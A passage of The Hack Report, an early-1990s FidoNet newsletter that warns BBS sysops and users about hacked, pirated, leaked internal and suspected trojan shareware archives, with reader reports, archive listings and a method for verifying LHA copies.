Yet another file that doesn't fit into any of the report categories: a
report from Wen-Chung Wu (1:102/342) concerns the archive PKLT120R, which
claims to be version 1.20 of PKLite. This is actually PKLite
Professional v1.12, a commercial product, which has been hacked to show
version 1.20 instead of 1.12. To make matters worse, the PKLITE.EXE file
was compressed "by PKLITE itself more than three times and once by
LZEXE." So, what we have here is a hack of a pirated commercial file -
jeez, this job gets confusing at times. ;-)
Here's an update on the report from Bud Webster (1:264/165.7) on the
Apogee game being distributed under the filename BLOCK5.ZIP. As reported
by Matthew Waldron (RIME Shareware Conf., via HW Richard Steiner) and Dan
Stratton (via HW Ken Whiton), this program was part of an Apogee disk
called the "Super Game Pack," and that it is a game called "Block Five."
Joe Siegler (1:124/9006), the online support representative for Apogee
Software Productions, confirms this, and states that the majority of the
games on this disk, including this one, have been officially
discontinued. The official company stand is that this game should not be
distributed via BBS systems, as it is no longer supported in any way by
Apogee Software Productions. Thanks to everyone who helped on this one.
HW Bill Lambdin says he found a file in the Knoxville, Tennessee area
called BIBLEPR (no description available) that appears a bit suspicious.
The file contents are:
Length Time CRC-32 Attr Name
------ ---- -------- ---- ----
34176 11:26 d267f5de --w- BIBLEPR.COM
158493 00:04 4298ac2d --w- DATAPR-0.DAT
158493 00:04 d87adf4b --w- DATAPR-1.DAT
158493 00:08 1213c6b3 --w- DATAPR-2.DAT
159764 00:08 38d7cc06 --w- DATAPR-3.DAT
1572 24:05 3a60c80e --w- BIBLEPR.DOC
------ -------
670991 6
When BIBLEPR.COM executes, Bill says it displays the following message:
Greets from DOA!
Don't say I didn't warn you! You are also busted!
Expect a visit from the SPA!
Omni, I will avenge you!
Bill's disassembly shows the file contains two INT 26 calls, which are
DOS Absolute Disk Write instructions. He said that if it contains a
virus, he was unable to get it to replicate. A copy of the archive has
been sent to Glenn Jordan at Datawatch Software for testing.
Here's an interesting point, brought to my attention by HW Richard
Steiner and John Weiss of the RIME Shareware Conference. In previous
issues, I have listed two files, QM60IST1 and QM60IST2 (reported by
Francois Thunus, 2:270/25), as pirated copies of QModem v6.0. However,
Richard and John quite correctly point out that there was no release of
QModem v6.0 - the program changed to QModem Pro after v5.
From what Francois reported, I believe that what he saw was indeed Qmodem
Pro, now a commercial-only program. However, it was "released" under the
above filenames. So, is it a Hack? Pirated File? Or what? Doesn't
matter - it shouldn't be distributed. Thanks, Richard and John, for
making me fully engage my brain for a change. <grin>
HW Bill Dennison captured a message from Marshall Dudley (Data World BBS,
(615)966-3574) in the ILink VIRUS FILE conference about the archive
ASCDEMO. Marshall says that McAfee's ViruScan doesn't detect any
infection until after you run it and it has infected other files. No
further information was supplied, other than the internal filenames
(ASCDEMO.DOC and ASCDEMO.EXE). I need further data on this before I can
list it in the Trojan Wars section, so please advise if you have any.
HW Emanuel Levy says the file IM, reported by Michael Santos in the
Intelec Net Chat conference and listed in the 1992 Full Archive edition
of The Hack Report. Michael's report was a "hearsay" report from one of
his friends, and stated that the IM screen saver file caused a viral
infection.
Emanuel says the file is an "outer space screen saver," currently under
the filename IM17. Scott Wunsch (1:140/23.1701) says the program name is
"Inner Mission," and he currently has version 1.6. In both cases, the
files were clean.
So, it looks like either Michael's friend's system became infected from a
different source than the IM file, or that an isolated incident of an
infected IM is involved. No way to tell at this writing.
Long time readers of this report will remember a question concerning the
status of a screen saver called TUNNEL. Ove Lorentzon (2:203/403.6) and
Bill Roark (RIME address BOREALIS, Shareware conference, via HW Richard
Steiner) both stated that the program was an internal IBM test program
and was not intended for outside distribution.
Your Hack Squad has received word from the author of the program, Dan
Butterfield (Internet, danielb@vnet.ibm.com), that as far as he is aware,
the program has never been released to the general public. According to
Dan, "it is still owned by IBM, and as such has been given the IBM
security classification 'IBM Internal Use Only' which means what it says:
the program is not for distribution to non-IBM employees."
Dan also says that several other "Internal Use Only" programs have been
"leaked" to the outside world, which implies that these files should not
be posted for download. One such program was originally called Dazzle
(NOT to be confused with the other popular DAZZLE screensaver), but has
entered BBS distribution under the filename O-MY-GOD (also seen as OMG,
per Michael Burkhart (RIME address CENTER, via HW Richard Steiner).
However, note that the O-MY-GOD/OMG file was hacked, according to Dan, so
that all of the "Internal Use Only" references were removed.
Another is a program that is usually included inside other archives: the
program name is PLAYANI. Dan says this has been distributed "along with
various animations," and also falls under the same Internal
classification.
A prime example of this is an archive called BALLS (not what you think).
This is an animation of multiple chrome spheres rotating around each
other above a red and white checkerboard platform. In this case, both
the player (PLAYANI) _and_ the animation are the property of IBM and are
not intended for BBS distribution.
Again, to quote Dan, "None of these programs are for external
distribution; all are owned by IBM and are only for use inside IBM by IBM
employees." Thanks to Dan for all of his help.
Donn Bly has cleared up the question on the status of the Sydex program
TeleDisk, first raised by Mark Draconis (1:120/324) and Kelvin Lawson.
Donn was kind enough to mail a copy of a letter sent to him by Sydex
explaining that Teledisk is no longer shareware. Here is an excerpt from
the letter:
"Effective April 1991, TeleDisk is no longer a shareware
product. After long consideration, we decided to
discontinue our offering of the shareware edition of
TeleDisk, and license it only as a commercial product.
"Commercial licenses of TeleDisk are available from Sydex at
$150 a copy. All shareware distributors and BBS sysops who
take time to check their sources are requested to remove
TeleDisk from shareware distribution."
The letter is signed by Miriam St. Clair for Sydex. To summarize, Sydex
is no longer accepting shareware registrations for TeleDisk, and asks
that it be not be made available for download from BBS systems.
Thanks to Donn for his help in this matter.
HW Ken Whiton forwards messages from Harold Stein, Gary Rambo, and Gwen
Barnes of Mustang Software, Inc., about a "patch" program aimed at
OffLine Xpress (OLX) v1.0. The patch is supposed to allow OLX to
read and reply to Blue Wave packets, along with a lot of other seemingly
unbelievable feats. Gwen Barnes did not seem to know of the patch, but
published the following advice in the WildNet SLMROLX conference to
anyone considering trying it:
1. Make a complete backup of your system.
2. Make sure you've got all the latest SCAN stuff from McAfee
3. Try it, keeping in mind that it more than likely does nothing
at all, or is a trojan that will hose your system.
4. Get ready to re-format and restore from backups if this is in
fact the case.
No filename was given for this patch. If anyone runs across a copy of
it, please contact one of The HackWatchers or myself so that we can
forward a copy to MSI for testing.
HW Bill Lambdin reports that someone has taken all of McAfee Associates'
antiviral programs and combined them into one gigantic (over 700k)
archive. He did not say whether the files had been tampered with, but he
did send a copy to McAfee for them to dissect. The file was posted under
the filename MCAFEE99. I would not suggest downloading this file: as a
matter of fact, this reporter prefers to call McAfee's BBS directly when
a new version of any of their utilities comes out. I highly recommend
this method, since it insures that you will receive an official copy.
HW Matt Kracht forwarded a message from Stu Turk in the DR_DEBUG
echo about possible Trojans going around as PKZIP 2.21 and/or 2.22. Stu
also says that there is a warning about these in circulation. If you
have a copy of this warning, please send a copy to Hack Central Station
(1:124/4007).
=========================================================================
Information, Please
This the section of The Hack Report, where your Hack Squad asks for
_your_ help. Several reports come in every week, and there aren't enough
hours in the day (or fingers for the keyboards) to verify them all. Only
with help from all of you can The Hack Report stay on top of all of the
weirdness going on out there in BBSLand. So, if you have any leads on
any of the files shown below, please send it in: operators are standing
by.
| Leon Konikowski (1:327/466) reports on WINGAMES, a file that claims to
| contain three games for Windows 3.1. Leon states that one internal
| program, BANG.EXE, is the culprit - it creates a "Big Crawly Bug" icon
| with the title "MickySoft," and begins to write "millions of little X's
| spelling out 'BANG'" to your WIN.INI file. He says that there is a text
| file in the archive that warns about its activity.
|
| The archive information Leon forwarded indicates that the program is
| distributed with source code in C, plus .def, .lib, .prj, and .res files.
| This seems quite unusual for a Trojan, but he says that one local SysOp
| did test it and verified its destructive behaviour.
|
| Paul Varner (1:109/910) also has this file, and says he has run it on his
| system with no ill-effects. His copy contains the same files that Leon
| had.
|
| I would appreciate any other reports on this file's activity - it is not
| yet possible to tell what is going on with it.
HW Bob Seaborn forwarded a message from Kevin Haverstock (via Tom Scott,
1:140/47) about a file called TCM_V511. This was described as "The
Configuration Manager," a system configuration utility. Kevin's report
said that once you finish running the setup, your computer reboots and
you get a prompt that "scrolls your screen and locks up your system." He
was unable to access his hard drive after booting from a system disk - a
reformat was required.
I am familiar with a legitimate shareware program called The
Configuration Manager, but not under version number 5.11, nor under the
above filename. I can't be sure if Kevin's problems were the result of a
hardware error, user error, or an isolated incident of a tampered
archive. If anyone has any information on what could have caused this,
please enlighten me.
Harold Stein (1:107/236) found a file called STETRIS, claiming to be a
Super Tetris game. He says that there was a shareware version of this
that was released about a year ago, but has since been renamed due to a
conflict with a commercial game of the same name. He is not sure whether
or not he found the old shareware file or a pirated copy of the
commercial file. The archive (in .zip format, presumably using v2.04g)
was 55,318 bytes long, and the archive date had been "touched" by the BBS
it was uploaded to, forcing it to March 23, 1993 (Editorial: this renders
filedates rather useless, IMHO. -lj) Does anyone know which version
Harold has seen? If so, please advise.
Peter Hempel (1:229/15) posted a message in the FidoNet Echo VIRUS about
the file BREAKIT!, which was described as follows:
BREAKIT!.ZIP 6714 03-29-93 (CRS) A Gw-Basic Code And Cipher Program
Allowing You To Enter Ascii Characters, To
Save Them, And To Encode And Decode.
Peter claims that this program erased his root directory, but says he was
able to recover everything by booting from a write-protected system disk
and using the Norton Utilities UNERASE command. The archive contents are
as follows:
Name Original Method Packed CR% Date Time CRC
============ ======== ======== ======== === ======== ======== ========
BREAKIT!.BAS 4453 Implode 2604 58 1-24-93 11:25:24 42CA0CE4
CODEFILE.FIL 1240 Implode 550 44 3-28-92 10:52:44 B6ADEB20
PRINTME.BAT 31 Stored 31 100 1-24-93 11:54:12 965CF8AE
VIEW.COM 958 Implode 876 91 3-19-92 19:11:46 47C5E5EF
README.BAT 30 Stored 30 100 1-24-93 11:52:32 95294A43
BRK.BAT 40 Stored 40 100 1-24-93 11:53:32 FC9F3B2E
BREAKIT!.DOC 2679 Implode 1440 54 1-24-93 11:56:06 EC302AFA
============ ======== ======== ======== === ======== ======== ========
7 9431 ZIP 5571 59 1-24-93 11:56:06
He did not say which file did the damage. I do not know if this is a
Trojan or an infected file - in either case, it may well be an isolated
incident. Test results would be greatly appreciated.
Lowell Shatraw (1:315/6) states that there may be two pirated commercial
fax programs floating around under the filenames FAX and PC_FAX. The
archives he reported on were in ARJ format and were 447,693 and 101,089
bytes long, respectively. The file dates were Dec. 4, 1992, and May 26,
1992 - no way to tell if the BBS "touched" the filedates. Lowell is also
not sure which commercial products these may be. If you happen to run
across one or both of these, please look inside them - if they are
commercial, please let me know (after you delete your copies, of course!
<g>).
A message from Tony Lim (1:120/314, forwarded by Jack Cross, 1:3805/13)
states that he had a user upload a file called TAG-NFO, which turned out
to be a Trojan. No details about the Trojan were given, so any
confirmation of this would be appreciated.
HW Bill Lambdin forwards a message from Mario Giordani in the ILink Virus
Conference about two files. The archives, called PHOTON and NUKE, are
possibly droppers, containing a file called NUKE.COM which "will trash
your HD."
Pat Finnerty (1:3627/107) sent a reply to the last report of this,
stating that he has a copy of a PC Magazine utility called NUKE.COM,
which is used to remove subdirectories which contain "nested subs,
hidden, read-only (you name it)." He says that the command NUKE C:\ will
effectively delete everything on a hard drive, with no chance of repair.
This is merely the way the program is designed.
I do not know if this is what happened in Mario's case, or if Mario
actually found a copy (read: isolated incident) which was infected. Bill
has asked Mario for further information, and I would like to echo his
call for help. If you know of this, please lend a hand.
Ned Allison (1:203/1102) forwarded a report into the FidoNet DIRTY_DOZEN
echo from a user of The Mailbox BBS in Cleveland (216/671-7534) named
Rich Bongiovanni. Rich reports that there is a file floating around
called DEMON WARS (archive name DMNWAR52) that is "infected with a
virus." If true, this may be an isolated incident. I would appreciate
confirmation on this.
Greg Walters (1:270/612) reports a possible isolated incident of a
problem with #1KEEN7. When he ran the installation, he began seeing on
his monitor "what looked like an X-rated GIF." The file apparently
scanned clean. Any information on similar sightings would be
appreciated.
A report from Todd Clayton (1:259/210) concerns a program called
ROBO.EXE, which he says claims to apparently "make RoboBoard run 300%
faster." He says he has heard that the program fools around with your
File Allocation Table. I have not heard any other reports of this, so I
would appreciate some confirmation from someone else who has seen similar
reports.
Kelvin Lawson (2:258/71) posted a message in the SHAREWRE echo about a
possible hack of FEBBS called F192HACK. I have not seen this file, nor
has the author of FEBBS, Patrik Sjoberg (2:205/208). He forwards the
file sizes in the archive, reported here:
Name Length Mod Date Time CRC
============ ======== ========= ======== ========
FEBBS.EXE 220841 09 Mar 92 21:17:00 96D2E08D
014734.TXT 1403 26 Aug 92 01:59:18 3B9F717F
============ ======== ========= ======== ========
*total 2 222244 26 Aug 92 01:59:24
Kelvin says the .TXT file is just an advert for a BBS, so it is "not
relevant!". As I said, the author of FEBBS has never seen this file, so
I've asked Kelvin to forward a copy of it to him.
Andrew Owens (3:690/333.11) forwarded a report of a "Maximus BBS
Optimiser," going under the filenames MAX-XD and MAXXD20. Scott Dudley,
the author of Maximus, says he did not write any programs that have these
names, but he does not know whether they are or are not legitimate third
party utilities. I have requested further information from Andrew on
this topic, and would appreciate anyone else's information, if they have
any.
Yet another short warning comes from David Bell (1:280/315), posted in
the FidoNet SHAREWRE echo, about a file called PCPLSTD2. All he says is
that it is a Trojan, and that he got his information from another
"billboard" and is merely passing it on. Again, please help if you know
what is going on here.
A message in the FidoNet ASIAN_LINK echo from Choon Hwee (1:3603/263)
grabbed my attention the moment I saw it: in capital letters, it said,
"DO NOT RUN this file called MODTEXT.EXE, cause it is a TROJAN!!!". He
goes on to say that two BBSs have been destroyed by the file. However,
that's about all that was reported. I really need more to go on before I
can classify this as a Trojan and not just a false alarm (i.e., archive
name, what it does, etc.). Please advise.
Greg Mills (1:16/390) posted a question to Robert Jung in the ARJ Support
Echo (FidoNet) about a version of ARJ called 2.33. It was unclear as to
whether or not Mr. Mills had seen the file. Mr. Jung has repeated that
the latest version of ARJ is v2.30 (however, there is a legitimate public
"pre-release" version numbered 2.39f). It is possible that the
references Greg saw about 2.33 were typos, but you never know. Please
help your Hack Squad out on this one - if you see it, report it.
=========================================================================
The Meier/Morlan List
| Here is the current status of the files contained in the Meier/Morlan
| List. Please note that I am placing a deadline of September 30th on the
| files in this list. They've been reported for quite some while now, and
| the verifications have slowed to a trickle. If the files listed below
| can't be verified in time for the October issue, I will need to write
| them off as false alarms.
| Michael Gorse (1:101/346) is to be thanked for reminding all of us of the
| venerable predecessor to The Hack Report - the Dirty Dozen list. He
| reports that the file AIRBALL, previously listed here, was also listed in
| that list as a pirated CGA/EGA arcade game. This file is now listed in
| the Pirated Files section of this report.
=== Previous comments on the files in the list: ===
Shane Paul of Softdisk Publishing (RIME, via HW Richard Steiner),
comments on the SLORDAX game:
"If the SLORDAX game if by Gamer's Edge and copyrighted by Softdisk
then it is a pirated copy."
I can't be sure that this is the case, so the file stays on the list
until someone can verify this.
Lee Madajczyk (1:280/5) surmises that HARRIER could be Harrier Combat
Simulator by Mindscape, Inc. He says that he hasn't seen anything from
them in quite a while, and doesn't know if the company is still in
business.
Here are the remaining unresolved reports from HW Emanuel Levy:
"387DX - sounds like a Math Co-Processor emulator - might be legit
"Barkeep sounds like it may be a version of Tapper. If you send beer mugs
down the screen to patrons and then have to pick up the returning mugs
and they leave tips, then it is Tapper. Or it may be an OLD game
published in Compute Mag. If it is the one from Compute only those who
have the Compute issue with the game in it are allowed to have a copy.
"Harrier is either Harrier Jiump Jet or Space Harrier from Sega wich came
out for the Commodore 64 in 89 so I would assume it came out for IBM
around then too.
"Gremlins- There was an Gremlins Text Adventure and a Video Came for the
computer. The video game was put out by Atari
Thanks, Emanuel.
For those who have missed it before, here is what is left of the list of
files forwarded by Joe Morlan (1:125/28), as compiled by Wes Meier, SysOp
of the WCBBS (1-510-937-0156) and author of the AUNTIE BBS system. Joe
says Wes keeps a bulletin of all rejected files uploaded to him and the
reasons they were rejected. Joe also says he cannot confirm or deny the
status of any of the files on the list.
There are some that I am not familiar with or cannot confirm. These are
listed below, along with the description from Wes Meier's list.
Due to the unconfirmed nature of the files below, the filenames are not
included in the HACK????.COL and HACK????.IDX files that are a part of
the archive of The Hack Report. I would appreciate any help that
anyone can offer in verifying the status of these files. Until I receive
verification on them, I will not count them as either hacks or pirated
files. Remember - innocent until proven guilty.
My thanks go to Joe and Wes for their help.
Filename Reason for Rejection
======== =============================================
BARKEEP Too old, no docs and copyrighted with no copy
permission.
HARRIER Copyrighted. No permission to copy granted.
SLORGAME Copyrighted. No docs. No permission to copy
granted.
NOVELL Copyrighted material with no permission to
BBS distribute
DRUMS I have no idea if these are legit or not. No
docs.
GREMLINS No documantation or permission to copy given.
CLOUDKM A hacked commercial program.
MENACE Copyrighted. No docs. No permission to copy
granted.
SNOOPY Copyrighted. No docs. No permission to
copy granted.
SLORDAX Copyrighted. No docs. No permission to
copy granted.
ESCAPE Copyrighted. No docs. No permission to
copy granted.
BANNER Copyrighted. No docs. No permission to
copy granted.
387DX Copyrighted. No docs or permission to
copy granted.
WINDRV Copyrighted. No permission to copy granted.
=========================================================================
Help!!!
Would the person who sent the copy of Vegas Casino 2 (filename VEGAS2) to
The Hack Squad for testing/verification please re-identify themselves via
NetMail? Somehow, your message went to the great Bit Bucket in the sky.
Thanks in advance!
=========================================================================
Clarifications and Thanks
Folks, the LHA mystery has finally been resolved, thanks to Scott Fell
(1:124/6119), Steve Quarrella (1:124/9005), and Kenjirou Okubo, the
support person for LHA. Your Hack Squad finally received the Internet
address for Kenjirou Okubo (kenjirou@mathdent.im.uec.ac.jp), and managed
to verify Scott Fell's own contact, relayed via Steve.
If you recall, Onno Tesink (2:283/318) found a file called LHA255B. This
claims to be version 2.55b of the LHA archiver, with a file date in the
executable of 12/08/92. Onno's report was the one that started the
search.
Kenjirou knew of this version and verified its legitimacy. He also
provided some other very helpful information, which is best relayed by
quoting his message to me:
"For DOS, currently lha256a1 is under testing in a closed
circle for networking environment. After LHA213, dos5 appeared
in Japan and Yoshi started his series LHA25x series. The two
versions you mentioned seem to fall under this series. The
latest version which might be distributed by me is LHA254 for
people who wants to test -lh6- algorithm."
He went on to provide the following information on how to verify your
copy of LHA:
"Any version ending with LHA25xb is a beta test version, and
LHA25xa is for a limited circulation. To test whether these
files are legitimate release either from Yoshi or me, please
use -t option to check two dimensional CRC self-validation
check. We believe our test will check the validation with
10E-38 % of error probability."
From my own testing, here is the best way to run the verification:
1. Extract LHA.EXE from the suspect archive and place it in an
empty subdirectory that is not on your path. (example:
c:\foo\lha.exe).
2. Change directories to the one which contains a known good copy
of LHA.EXE.
3. Execute the command LHA t drive:\path\LHA.EXE. Using the above
example, your command line would look like this:
C:\LHADIR>LHA t C:\FOO\LHA.EXE
This will execute the known good copy of lha, which will test the suspect
copy and report whether or not the file "appears" to be the original or
not. Even though the older LHA is doing the testing, it will be able to
verify the newer copy.
Please note that Scott Fell's information was that the author does not
want these copies distributed. However, it seems that the folks working
on LHA are aware that some betas have "escaped" into circulation. In
other words, use any betas _entirely_ at your own risk.
Scott and Steve have my undying gratitude for helping to lay this to
rest, most notably by locating Kenjirou's Internet address and following
through on it. Thanks from all of us!
*************************************************************************
Conclusion
If you see one of the listed files on a board near you, it would be a
very friendly gesture to let the SysOp know. Remember, in the case of
pirated files, they can get in just as much trouble as the fiend who
uploads pirated files, so help them out if you can.
***HACK SQUAD POLICY***
The intent of this report is to help SysOps and Users to identify
fraudulent files. To this extent, I give credit to the reporter of a
confirmed hack. On this same note, I do _not_ intend to "go after" any
BBS SysOps who have these programs posted for d/l. The Shareware World
operates best when everyone works together, so it would be
counter-productive to "rat" on anyone who has such a file on their board.
Like I said, my intent is to help, not harm. SysOps are strongly
encouraged to read this report and remove all files listed as "confirmed"
from their boards. I can not and will not take any "enforcement action"
on this, but you never know who else may be calling your board. Pirated
commercial software posted for d/l can get you into _deeply_ serious
trouble with certain authorities.
Updates of programs listed in this report need verification. It is
unfortunate that anyone who downloads a file must be paranoid about its
legitimacy. Call me a crusader, but I'd really like to see the day that
this is no longer true. Until then, if you _know_ of a new official
version of a program listed here, please help me verify it.
On the same token, hacks need to be verified, too. I won't be held
responsible for falsely accusing the real thing of being a fraud. So,
innocent until proven guilty, but unofficial until verified.
Upcoming official releases will not be included or announced in this
report. It is this Moderator's personal opinion that the hype
surrounding a pending release leads to hacks and Trojans, which is
exactly the opposite of what I'm trying to accomplish here.
If you know of any other programs that are hacks, bogus, jokes, hoaxes,
etc., please let me know. Thanks for helping to keep shareware clean!
Lee Jackson, Author, The Hack Report
Moderator, FidoNet Int'l Echos SHAREWRE and WARNINGS (1:124/4007)